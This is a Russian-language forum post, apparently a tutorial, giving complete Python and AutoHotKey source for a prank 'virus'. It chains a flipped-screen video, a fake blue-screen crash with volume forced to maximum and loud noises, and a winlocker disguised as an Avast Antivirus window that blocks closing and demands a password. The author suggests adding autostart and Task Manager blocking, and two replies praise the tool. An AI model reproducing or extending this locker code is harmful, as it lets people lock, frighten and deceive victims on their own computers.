Привет форум. Сейчас покажу как написать крутой вирус на шедевро-python. Краткий функционал - Наркомания на рабочем столе (аналог chilled windows), fake bsod с выкручиванием звука на максимум и неприятными звуками, ну и финалочка - винлокер Вот так выглядит вирус при открытии: Автор никого ни к чему не призывает. Всё что тут написано - написано в образовательных целях. Скачиваем исходники (звуки, картинки и тд) Залил все в тгк, скачиваете оттуда все и суете в основную папку проекта - https://t.me/+BhXWw0aCMrFhNGFi Пишем код AutoHotKey Нам нужна штучка, которая будет выкручивать звук на 100, дабы было веселее. Создаем файл sound.ahk, в него пишем: SoundSet, 100 Send {Volume_Up} Python SoundSet, 100 Send {Volume_Up} Где 100 - громкость Пишем 1 часть - аналог Chilled Windows aka наркомания Пишем файл main.py import time import numpy as np import imageio import pygame from PIL import ImageGrab, Image from moviepy.editor import VideoFileClip, AudioFileClip import cv2 import os def create_video(frames, output_file): fps = 25 writer = imageio.get_writer(output_file, fps=fps) for frame in frames: writer.append_data(frame) writer.close() def main(): pygame.mixer.init() pygame.mixer.music.load('start.mp3') pygame.mixer.music.play() time.sleep(1) im = ImageGrab.grab() original_image = np.array(im) mirrored_image = np.array(im.transpose(Image.FLIP_LEFT_RIGHT)) flipped_image = np.array(im.transpose(Image.FLIP_TOP_BOTTOM)) frames = [] for _ in range(30): frames.append(original_image) frames.append(mirrored_image) for _ in range(75): frames.append(original_image) frames.append(flipped_image) create_video(frames, 'output.mp4') pygame.mixer.music.stop() video_clip = VideoFileClip('output.mp4') audio_clip = AudioFileClip('sound.mp3') final_video = video_clip.set_audio(audio_clip) final_video.write_videofile('final_output.mp4', codec='libx264', audio_codec='aac') final_video.preview() cv2.namedWindow('Video', cv2.WND_PROP_FULLSCREEN) cv2.setWindowProperty('Video', cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN) cap = cv2.VideoCapture('final_output.mp4') while cap.isOpened(): ret, frame = cap.read() if not ret: break cv2.imshow('Video', frame) if cv2.waitKey(25) & 0xFF == ord('q'): break cap.release() cv2.destroyAllWindows() os.system('python part2.py') if __name__ == "__main__": main() Python import time import numpy as np import imageio import pygame from PIL import ImageGrab, Image from moviepy.editor import VideoFileClip, AudioFileClip import cv2 import os def create_video(frames, output_file): fps = 25 writer = imageio.get_writer(output_file, fps=fps) for frame in frames: writer.append_data(frame) writer.close() def main(): pygame.mixer.init() pygame.mixer.music.load('start.mp3') pygame.mixer.music.play() time.sleep(1) im = ImageGrab.grab() original_image = np.array(im) mirrored_image = np.array(im.transpose(Image.FLIP_LEFT_RIGHT)) flipped_image = np.array(im.transpose(Image.FLIP_TOP_BOTTOM)) frames = [] for _ in range(30): frames.append(original_image) frames.append(mirrored_image) for _ in range(75): frames.append(original_image) frames.append(flipped_image) create_video(frames, 'output.mp4') pygame.mixer.music.stop() video_clip = VideoFileClip('output.mp4') audio_clip = AudioFileClip('sound.mp3') final_video = video_clip.set_audio(audio_clip) final_video.write_videofile('final_output.mp4', codec='libx264', audio_codec='aac') final_video.preview() cv2.namedWindow('Video', cv2.WND_PROP_FULLSCREEN) cv2.setWindowProperty('Video', cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN) cap = cv2.VideoCapture('final_output.mp4') while cap.isOpened(): ret, frame = cap.read() if not ret: break cv2.imshow('Video', frame) if cv2.waitKey(25) & 0xFF == ord('q'): break cap.release() cv2.destroyAllWindows() os.system('python part2.py') if __name__ == "__main__": main() Именно этот код будет создавать и показывать видео с наркоманией, после чего запустит part2.py 2 часть - fake bsod На самом деле эта часть была украдена с гитхаба. Но есть есть место быть. Создаем файл part2.py и пишем код: import pyautogui as py from PIL import Image, ImageTk import winsound import time import subprocess import tkinter as tk time.sleep(5) py.hotkey("win", "d") time.sleep(0.7) im = py.screenshot('ss.png') ISRUN = False TOTALLOOP = 0 def toggle_geom(): pass def exit_program(event): """удалить если не нужно""" root.destroy() exit() subprocess.Popen("ahk.exe sound.ahk") # громкость на 100 через ахк root = tk.Tk() root.geometry("{}x{}+0+0".format(root.winfo_screenwidth(), root.winfo_screenheight())) bg = tk.PhotoImage(file="ss.png") bgimage = tk.Label(root, image=bg, width=root.winfo_screenwidth(), height=root.winfo_screenheight(), borderwidth=0) bgimage.place(x=0, y=0) def update(ind): global TOTALLOOP if ind == 80: ind = 0 TOTALLOOP += 1 if ind < 10: indText = "0" + str(ind) else: indText = str(ind) directoryName = "./BSOD/bsodgif/frame_" + indText + "_delay-0.05s.png" img = Image.open(directoryName).resize( (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg2 = ImageTk.PhotoImage(img) bgimage.configure(image=bg2) bgimage.image = bg2 root.update() ind += 1 if TOTALLOOP < 4: root.after(5, update, ind) else: img = Image.open("./BSOD/bsod7.png").resize((root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg1 = ImageTk.PhotoImage(img) bgimage.configure(image=bg1) bgimage.image = bg1 root.update() winsound.PlaySound(None, winsound.SND_ASYNC) time.sleep(6) subprocess.Popen(["python", "locker.py"]) # Открытие винлокера root.destroy() exit() def updateImg(numb, sleepNum): imgName = "./BSOD/bsod" + str(numb) + ".png" img = Image.open(imgName).resize( (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg1 = ImageTk.PhotoImage(img) bgimage.configure(image=bg1, cursor='none') bgimage.image = bg1 root.update() time.sleep(sleepNum) def initiate(e): global ISRUN if ISRUN == False: ISRUN = True time.sleep(1) updateImg(1, 4) updateImg(2, 6) updateImg(3, 7) updateImg(4, 0.01) winsound.PlaySound('noise1.wav', winsound.SND_ASYNC) updateImg(3, 3) winsound.PlaySound('noise2.wav', winsound.SND_ASYNC) updateImg(6, 0.01) updateImg(3, 1.5) winsound.PlaySound('noise3.wav', winsound.SND_ASYNC) updateImg(4, 0.01) updateImg(3, 0.75) winsound.PlaySound('final.wav', winsound.SND_ASYNC) updateImg(5, 3) winsound.PlaySound('loop.wav', winsound.SND_LOOP + winsound.SND_ASYNC) root.after(0, update, 0) bgimage.bind('<Button-1>', initiate) root.attributes("-fullscreen", True) root.bind('<Escape>', toggle_geom) root.bind('<space>', exit_program) # удалить эту строку чтобы нельзя было закрыть root.attributes('-topmost', True) root.update() root.mainloop() Python import pyautogui as py from PIL import Image, ImageTk import winsound import time import subprocess import tkinter as tk time.sleep(5) py.hotkey("win", "d") time.sleep(0.7) im = py.screenshot('ss.png') ISRUN = False TOTALLOOP = 0 def toggle_geom(): pass def exit_program(event): """удалить если не нужно""" root.destroy() exit() subprocess.Popen("ahk.exe sound.ahk") # громкость на 100 через ахк root = tk.Tk() root.geometry("{}x{}+0+0".format(root.winfo_screenwidth(), root.winfo_screenheight())) bg = tk.PhotoImage(file="ss.png") bgimage = tk.Label(root, image=bg, width=root.winfo_screenwidth(), height=root.winfo_screenheight(), borderwidth=0) bgimage.place(x=0, y=0) def update(ind): global TOTALLOOP if ind == 80: ind = 0 TOTALLOOP += 1 if ind < 10: indText = "0" + str(ind) else: indText = str(ind) directoryName = "./BSOD/bsodgif/frame_" + indText + "_delay-0.05s.png" img = Image.open(directoryName).resize( (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg2 = ImageTk.PhotoImage(img) bgimage.configure(image=bg2) bgimage.image = bg2 root.update() ind += 1 if TOTALLOOP < 4: root.after(5, update, ind) else: img = Image.open("./BSOD/bsod7.png").resize((root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg1 = ImageTk.PhotoImage(img) bgimage.configure(image=bg1) bgimage.image = bg1 root.update() winsound.PlaySound(None, winsound.SND_ASYNC) time.sleep(6) subprocess.Popen(["python", "locker.py"]) # Открытие винлокера root.destroy() exit() def updateImg(numb, sleepNum): imgName = "./BSOD/bsod" + str(numb) + ".png" img = Image.open(imgName).resize( (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS) bg1 = ImageTk.PhotoImage(img) bgimage.configure(image=bg1, cursor='none') bgimage.image = bg1 root.update() time.sleep(sleepNum) def initiate(e): global ISRUN if ISRUN == False: ISRUN = True time.sleep(1) updateImg(1, 4) updateImg(2, 6) updateImg(3, 7) updateImg(4, 0.01) winsound.PlaySound('noise1.wav', winsound.SND_ASYNC) updateImg(3, 3) winsound.PlaySound('noise2.wav', winsound.SND_ASYNC) updateImg(6, 0.01) updateImg(3, 1.5) winsound.PlaySound('noise3.wav', winsound.SND_ASYNC) updateImg(4, 0.01) updateImg(3, 0.75) winsound.PlaySound('final.wav', winsound.SND_ASYNC) updateImg(5, 3) winsound.PlaySound('loop.wav', winsound.SND_LOOP + winsound.SND_ASYNC) root.after(0, update, 0) bgimage.bind('<Button-1>', initiate) root.attributes("-fullscreen", True) root.bind('<Escape>', toggle_geom) root.bind('<space>', exit_program) # удалить эту строку чтобы нельзя было закрыть root.attributes('-topmost', True) root.update() root.mainloop() Пишем винлокер Создаем locker.py и пишем в него код: import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep username = getpass.getuser() window = Tk() window.title("Avast Antivirus") window.geometry('400x250') window['bg'] = 'black' normal_width = 1920 normal_height = 1080 screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) scale_factor = ((percentage_width + percentage_height) / 2) / 100 fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) # Блокировщик горячих клавиш def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() # Открытие в полный экран def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'password': # пароль менять тут sys.exit() fullscreen() txt_one = Label(window, text='winlocker', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Ехх... амд бабах...', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован этим замечательным софтом. Пароль вам никто не скажет. Удачных голодных игр)', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="Ввод", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) block() window.mainloop() Python import tkinter from tkinter import * import tkinter as tk from tkinter import ttk import getpass import sys import os import os.path import pyautogui from time import sleep username = getpass.getuser() window = Tk() window.title("Avast Antivirus") window.geometry('400x250') window['bg'] = 'black' normal_width = 1920 normal_height = 1080 screen_width = window.winfo_screenwidth() screen_height = window.winfo_screenheight() percentage_width = screen_width / (normal_width / 100) percentage_height = screen_height / (normal_height / 100) scale_factor = ((percentage_width + percentage_height) / 2) / 100 fontsize = int(20 * scale_factor) minimum_size = 10 if fontsize < minimum_size: fontsize = minimum_size fontsizeHding = int(72 * scale_factor) minimum_size = 40 if fontsizeHding < minimum_size: fontsizeHding = minimum_size default_style = ttk.Style() default_style.configure('New.TButton', font=("Helvetica", fontsize)) # Блокировщик горячих клавиш def block(): pyautogui.moveTo(x=680,y=800) window.protocol("WM_DELETE_WINDOW",block) window.update() # Открытие в полный экран def fullscreen(): window.attributes('-fullscreen', True, '-topmost', True) def clicked(): res = format(txt.get()) if res == 'password': # пароль менять тут sys.exit() fullscreen() txt_one = Label(window, text='winlocker', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_two = Label(window, text='Ехх... амд бабах...', font=("Arial Bold", fontsizeHding), fg='red', bg='black') txt_three = Label(window, text='Ваш компьютер был заблокирован этим замечательным софтом. Пароль вам никто не скажет. Удачных голодных игр)', font=("Arial Bold", fontsize), fg='white', bg='black') txt_one.grid(column=0, row=0) txt_two.grid(column=0, row=0) txt_three.grid(column=0, row=0) txt_one.place(relx = .01, rely = .01) txt_two.place(relx = .01, rely = .11) txt_three.place(relx = .01, rely = .21) txt = Entry(window) btn = Button(window, text="Ввод", command=clicked) txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06) btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06) block() window.mainloop() Для тех кому лень копировать - фулл код также залил в Многие понимают, что это больше прикол чем вирус, но его можно дописать) Например: винлокер в автозагруку, блок диспетчера задач и так далее
Требую добавить звук распада СССР! --- Сообщение объединено с предыдущим 20 ноя 2024 Вообще крутая штука. Реально молодёжно, чётко, жёска